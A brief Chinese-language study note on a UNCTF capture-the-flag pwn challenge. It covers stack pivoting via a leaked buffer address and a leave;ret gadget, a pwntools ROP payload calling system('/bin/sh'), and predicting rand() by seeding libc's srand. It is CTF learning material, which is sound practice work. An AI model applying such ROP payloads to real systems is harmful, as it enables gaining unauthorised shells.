栈迁移的学习
unctf的一道题
`ssize_t back()`
`{`
`char buf[32]; // [rsp+0h] [rbp-20h] BYREF`
`printf("gift:%p\n", buf);`
`return read(0, buf, 0x30uLL);`
`}`能运行到后门函数 后门函数给了一块栈中的空间和开始的地址,开了NX
一. 调试wt.exe 和 学习GDB的调试功能
二.学习了栈迁移的原理
`r.send(p64(pop_rdi_addr) + (ROP)
p64(gift_addr+24) +`
`p64(system_addr) +`
`b'/bin/sh\x00'.ljust(8, b'\x00') + /bin/sh
p64(gift_addr-8) + (栈迁移的地址-8) rbp`
`p64(leave_ret_addr)) rbp+8 -> leave_ret retn_addr`





三.学到了srand()与rand()
`elf = cdll.LoadLibrary('libc.so.6')`
`r = process("./pwn")`
`elf.srand(66)`
`r.sendlineafter(b'input a num:\n',str(elf.rand()))`理解库、库函数、ELF